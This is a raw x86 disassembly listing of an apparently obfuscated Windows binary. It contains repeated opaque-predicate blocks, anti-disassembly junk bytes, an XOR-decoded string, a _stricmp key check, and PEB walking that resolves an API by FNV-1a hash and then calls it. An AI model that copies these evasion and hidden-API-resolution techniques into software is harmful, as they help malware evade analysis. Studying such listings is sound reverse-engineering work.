movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3760]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x425944
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x425944
mov dword [ebp - 0x124], 1
jmp 0x4259e7
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4259e7
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x124], eax
mov eax, dword [ebp - 8]
mov dl, byte [ebp + eax - 0xcf]
mov eax, dword [ebp - 8]
and dl, byte [ebp - 0x124]
add dl, dl
mov cl, byte [ebp + eax - 0xcf]
mov eax, dword [ebp - 8]
sub cl, dl
add cl, byte [ebp - 0x128]
mov byte [ebp + eax - 0xcf], cl
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*4]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x425d66
mov eax, dword [ebp - 8]
sub eax, 0xd
mov dword [ebp - 0xc], eax
xor eax, eax
je 0x425a66
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, dword [ebp - 0xc]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x425b25
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x425b25
mov dword [ebp - 0x130], 1
jmp 0x425bc8
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x425bc8
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x130], eax
mov eax, dword [ebp - 8]
sub eax, 0xd
mov dword [ebp - 0xc], eax
xor eax, eax
je 0x425bd6
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, dword [ebp - 0xc]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x425c95
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x425c95
mov dword [ebp - 0x12c], 1
jmp 0x425d38
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x425d38
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 8]
mov dl, byte [ebp + eax - 0xcf]
mov eax, dword [ebp - 8]
and dl, byte [ebp - 0x12c]
add dl, dl
mov cl, byte [ebp + eax - 0xcf]
mov eax, dword [ebp - 8]
sub cl, dl
add cl, byte [ebp - 0x130]
mov byte [ebp + eax - 0xcf], cl
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x42608d
xor eax, eax
je 0x425da0
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3758]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x425e5a
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x425e5a
mov dword [ebp - 0x138], 1
jmp 0x425efd
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x425efd
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x138], eax
xor eax, eax
je 0x425f02
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3758]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x425fbc
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x425fbc
mov dword [ebp - 0x134], 1
jmp 0x42605f
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42605f
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x134], eax
mov eax, dword [ebp - 8]
mov dl, byte [ebp + eax - 0xcf]
mov eax, dword [ebp - 8]
and dl, byte [ebp - 0x134]
add dl, dl
mov cl, byte [ebp + eax - 0xcf]
mov eax, dword [ebp - 8]
sub cl, dl
add cl, byte [ebp - 0x138]
mov byte [ebp + eax - 0xcf], cl
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xf
jb 0x425050
lea eax, [ebp - 0xcf]
mov byte [ebp - 0xd0], 1
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
add esp, 8
test eax, eax
jne 0x4261ae
mov eax, dword [ebp - 0x18]
mov byte [ebp - 1], 0
mov dword [eax], 0x41bb10
xor eax, eax
movups xmm0, xmmword [str.NMNNMNMNMNMNNMM_aD_Rtbut_fcjni_thrudb_ubwht_Jhuwobjb45_dhjjhi_o_a]
movups xmmword [ebp - 0x430], xmm0
nop dword [eax]
xor byte [ebp + eax - 0x430], 7
inc eax
cmp eax, 0x10
jl 0x4260e0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x18]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x20], edi
mov ecx, dword [edi + 0x3c]
mov ecx, dword [ecx + edi + 0x78]
add ecx, edi
mov dword [ebp - 0x28], ecx
cmp ecx, edi
je 0x42617b
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x42617b
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, edi
mov esi, dword [ecx - 4]
sub ecx, 4
add esi, edi
mov dword [ebp - 0xc], ecx
dec edx
mov edi, 0xa24645a0
mov dword [ebp - 0x18], edx
mov cl, byte [esi]
inc esi
mov byte [ebp - 1], cl
test cl, cl
je 0x426171
mov al, cl
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x426142
mov eax, dword [ebp - 0x14]
cmp edi, 0x8f0a15c8
je 0x426182
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
mov edi, dword [eax + 0x18]
test edx, edx
jne 0x426122
mov eax, dword [eax]
jmp 0x4260fa
mov esi, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x20]
mov eax, dword [esi + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
lea ecx, [ebp - 0x430]
add eax, edx
push ecx
call eax
jmp 0x430ec8
call fcn.0041b790
movsx ecx, byte [0x8b05fd]
movsx eax, al
imul ecx, eax
lea esi, [ecx + ecx*4]
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x42645c
xor eax, eax
je 0x4261eb
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3688]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x426296
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
jne 0x4262f8
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4262f8
mov al, byte [0x8af51d]
call fcn.0041b7b0
call fcn.0041b780
call fcn.0041b770
mov al, byte [str._b_t7::_a]
mov al, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*4]
add esi, esi
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x430ec8
xor eax, eax
je 0x426342
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a36b0]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4263f1
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
jne 0x430ec8
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x430ec8
mov al, byte [0x8af51d]
call fcn.0041b7b0
call fcn.0041b780
call fcn.0041b770
mov al, byte [str._b_t7::_a]
mov al, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
jmp 0x430ec8
cmp dword [0x8b00e4], 0
je 0x42760e
mov eax, dword [0x7a360c]
movq xmm0, qword [0x7a3604]
mov dword [ebp - 0xb4], eax
mov ax, word [0x7a3610]
mov word [ebp - 0xb0], ax
mov al, byte [0x7a3612]
mov byte [ebp - 1], 0
movq qword [ebp - 0xbc], xmm0
mov byte [ebp - 0xae], al
mov dword [ebp - 8], 0
cmp dword [ebp - 8], 0xe
jae 0x4274ff
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
shl esi, 2
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x4267db
xor eax, eax
je 0x4264ee
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3758]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4265a8
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x4265a8
mov dword [ebp - 0x140], 1
jmp 0x42664b
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42664b
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x140], eax
xor eax, eax
je 0x426650
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3758]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42670a
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x42670a
mov dword [ebp - 0x13c], 1
jmp 0x4267ad
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4267ad
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 8]
mov dl, byte [ebp + eax - 0xbb]
mov eax, dword [ebp - 8]
and dl, byte [ebp - 0x13c]
add dl, dl
mov cl, byte [ebp + eax - 0xbb]
mov eax, dword [ebp - 8]
sub cl, dl
add cl, byte [ebp - 0x140]
mov byte [ebp + eax - 0xbb], cl
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
add esi, esi
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4271c7
call fcn.0041b790
movsx ecx, byte [0x8b05fd]
movsx eax, al
imul ecx, eax
lea esi, [ecx + ecx*8]
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x426b4a
xor eax, eax
je 0x42685d
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3750]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x426917
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x426917
mov dword [ebp - 0x148], 1
jmp 0x4269ba
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4269ba
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x148], eax
xor eax, eax
je 0x4269bf
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3750]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x426a79
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x426a79
mov dword [ebp - 0x144], 1
jmp 0x426b1c
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x426b1c
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x144], eax
mov eax, dword [ebp - 8]
mov dl, byte [ebp + eax - 0xbb]
mov eax, dword [ebp - 8]
and dl, byte [ebp - 0x144]
add dl, dl
mov cl, byte [ebp + eax - 0xbb]
mov eax, dword [ebp - 8]
